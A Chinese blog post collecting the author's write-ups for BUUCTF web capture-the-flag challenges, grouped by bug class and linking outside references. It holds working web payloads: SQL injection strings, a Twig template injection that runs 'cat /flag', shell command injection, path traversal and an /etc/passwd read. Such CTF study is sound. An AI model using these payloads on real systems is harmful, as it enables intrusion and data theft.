这篇文章发表于 1614 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
这里汇总一下我做过的BUUCTF
web方向的题解。题目的分类可能有一点奇怪,请谅解。
SQL注入
sqlmap是没有灵魂的。
对于绕过等操作的4篇文章推荐(排名不分先后)。
https://3wapp.github.io/WebSecurity/mysql%E6%B3%A8%E5%85%A5%E8%BF%87%E6%BB%A4.html
https://www.smi1e.top/sql%e6%b3%a8%e5%85%a5%e7%ac%94%e8%ae%b0/
[强网杯 2019]随便注
1 | GET /?inject=1'||1--+- |
[SUCTF 2019]EasySQL
1 | 通过回显,猜测存在 || |
[极客大挑战 2019]HardSQL
1 | GET /check.php?username=admin&password=admin'or(extractvalue(1,concat(0x7e,user(),0x7e)))%23 |
[CISCN2019 华北赛区 Day2 Web1]Hack World
利用二分法的SQL注入脚本。
1 | import requests |
[网鼎杯 2018]Fakebook
1 | GET /view.php?no=1+order+by+3--+- |
法二中构造序列化的PHP脚本如下:
1 | <?php |
[极客大挑战 2019]BabySQL
1 | GET /check.php?username=admin&password=ad'+oorrder+bbyy+3--+- |
[GXYCTF2019]BabySQli
1 | 过滤了or,= ,左右括号 等等。 |
[GYCTF2020]Blacklist
1 | GET /?inject=1'order+by+2--+- |
[SWPU2019]Web1
1 | 'group/**/by/**/22,'1 |
[极客大挑战 2019]FinalSQL
非常不错的一道题,只是出题者有点无聊。
1 | #这题有两种比较直接的payloads,一种是1^0,另一种是1=(0)=1,以下脚本取前者 |
[网鼎杯 2018]Comment
典型的二次注入。
1 | // 首先是爆破与git文件泄露 |
[BJDCTF 2nd]简单注入
1 | #后台源码 select * from users where username='$_POST["username"]' and password='$_POST["password"]'; |
SSTI模板注入
类似的原理可参考 https://www.freebuf.com/vuls/83999.html 、 https://zhuanlan.zhihu.com/p/93746437 与 https://wizardforcel.gitbooks.io/web-hacking-101/content/16.html 。
两样工具 https://github.com/epinna/tplmap , http://www.onelinerizer.com/。
[护网杯 2018]easy_tornado
本例是tornado render的模板注入。
1 | # -*- coding: utf-8 -*- |
[WesternCTF2018]shrine
1 | import flask |
[BJDCTF2020]The mystery of ip
1 | #XFF头除了可能存在SQL注入以外,SSTI注入也可能存在 |
[BJDCTF2020]Cookie is so stable
twig模板注入。
1 | user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
XXE注入
[NCTF2019]Fake XML cookbook
1 | <!--?xml version="1.0" ?--> |
命令注入
[GXYCTF2019]Ping Ping Ping
题目作了一些过滤,不能有空格。
1 | GET /?ip=127.0.0.1;cat$IFS$1`ls` |
[BUUCTF 2018]Online Tool
1 | //源码如下: |
[网鼎杯 2020 朱雀组]phpweb
1 | //首先要想到使用highlight_file或是file_get_contents获取源码 |
SSI注入
[BJDCTF2020]EasySearch
先拿到备份的源码,
1 | <?php |
解法如下:
1 | import hashlib |
PHP字符串解析漏洞
[RoarCTF 2019]Easy Calc
这题要绕过一个waf,但是不知道waf的源码。这里用到了这个漏洞,PHP在解析param时候会先把空格去掉,加个空格即可绕过这个waf。之后只要绕过网站源码的过滤即可。
1 | ? num=1;phpinfo(); |
MD5弱类型
[BJDCTF2020]Easy MD5
参见 https://blog.nowcoder.net/n/95754e3b877e4c758798430951c44f97 。
1 | Hint: "select * from `admin` where password='".md5($pass,true)."'" |
后面再利用数组绕过。
[安洵杯 2019]easy_web
算不上弱类型,但是绕过方法比较固定。
1 | <?php |
data伪协议
[ZJCTF 2019]NiZhuanSiWei
1 | data://text/plain;base64,base编码字符串 |
最后那个序列化结果如下构造即可。
1 | <?php |
flask伪造session
flask的session很像JWT。两者有无区别暂时没去想。
[HCTF 2018]Hideandseek
可参见 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#hide-and-seek 。
1 | # -*- coding=utf-8 -*- |
[HCTF 2018]admin
解发不唯一,参见 https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/#admin 。
目录穿越
[HCTF 2018]WarmUp
题目部分源码:
1 | <?php |
最终payload:
http://xxxx:xxxx/source.php?file=source.php?/../../../../../ffffllllaaaagggg
[RoarCTF 2019]Easy Java
1 | POST /Download?filename=./WEB-INF/web.xml |
反序列化
[0CTF 2016]piapiapia
直接写解法与解析。
1 | <?php |
[安洵杯 2019]easy_serialize_php
PHP反序列化字符逃逸。
1 | <?php |
[极客大挑战 2019]PHP
以下是源码:
1 | <?php |
以下是payload:
1 | <?php |
[网鼎杯 2020 青龙组]AreUSerialz
这个直接上payload了。
1 | <?php |
[CISCN2019 华北赛区 Day1 Web2]ikun
python的反序列化。
1 | #先是用爬虫找到lv6,再在discount上面做手脚 |
[CISCN2019 华北赛区 Day1 Web1]Dropbox
phar反序列化。
此题首先利用任意文件下载漏洞获取到源码。 在class.php中,发现File类close方法中存在着file_get_contents方法,搜索后发现delete.php中存在着对File的使用而且没有限于flag字符串。另外,后面的open方法过滤不严,可使用phar协议来进行反序列化; 在User对象销毁的时候会自动触发File类的close方法; 这时还是无法输出被读取的flag; 需要结合FileList(因为这里也调用了File)的call方法,call方法是在访问不存在的方法的时候会触发;但是FileList的触发需要通过User对象来构造。
1 | //附上class.php |
用于解决的PHP代码(版本7.3)如下,
1 | //在php.ini中配置phar.readonly = Off |
hash长度拓展攻击
[De1CTF 2019]SSRF Me题讲解
源码位于 https://github.com/CTFTraining/delta_2019_web_ssrfme 。
解法1:
使用传入参数的trick,md5(key + ‘flag.txt’ + ‘readscan’),已被写死,等号右边的未定的参数也可也可确定,即md5(key + ‘flag.txtread’ + ‘scan’)
解法2:
通过hash长度拓展攻击(原理可参见 https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks ),
GET /geneSign?param=/etc/passwd
获取到了一个hash(3d852dcc159b7fcf6c439b93f03c8314),先使用题目中的scan函数,然后要read,但是没有对应的hash,这里使用长度拓展。
1 | >>> import hashpumpy |
这里其实不知道len(‘SECRETKEY’)的长度是29,可以考虑写脚本爆破。如果是flag.txt,那么长度就是24。
1 | #要将scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read |
另外,这题的param可以使用如下来实现绕过。
1 | flag.txt |
Unicode所产生的漏洞
参见 https://xz.aliyun.com/t/6070 。
[SUCTF 2019]Pythonginx
1 | @app.route('/getUrl', methods=['GET', 'POST']) |
[ASIS 2019]Unicorn shop
1 | #在这里https://www.compart.com/en/unicode/搜索ten thousand即可发现需要的字符 |
无参数RCE
[GXYCTF2019]禁止套娃
1 | #可使用如下命令获取源码,或是GitHack或是dvcs-ripper |
代码审计类
这里主要是对于PHP代码的审计中比较明显的几类题。
[BJDCTF2020]Mark loves cat
经典的变量覆盖漏洞。
1 | <?php |
[BJDCTF2020]ZJCTF,不过如此
利用了PHP早期版本的preg_replace后门。
1 | // GET /index.php?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=./next.php |
[CISCN 2019 初赛]Love Math
此题略无趣,无非就是混淆绕过。直接搬别人的wp。
1 | <?php |
[GWCTF 2019]枯燥的抽奖
关于随机数的漏洞——mt_srand漏洞。
1 | ''' |
上传漏洞
这部分本来不想写的,但还是随便来一些以求完整性。
[MRCTF2020]你传你?呢
1 | .htaccess文件上传,之后上传a.jpg即可 |
bypass-opendir
这已经属于getshell之后的操作了,方法的适用性与环境有关,可参见这篇文章。 https://www.mi1k7ea.com/2019/07/20/%E6%B5%85%E8%B0%88%E5%87%A0%E7%A7%8DBypass-open-basedir%E7%9A%84%E6%96%B9%E6%B3%95/ 。
[GKCTF2020]CheckIN
1 | <?php |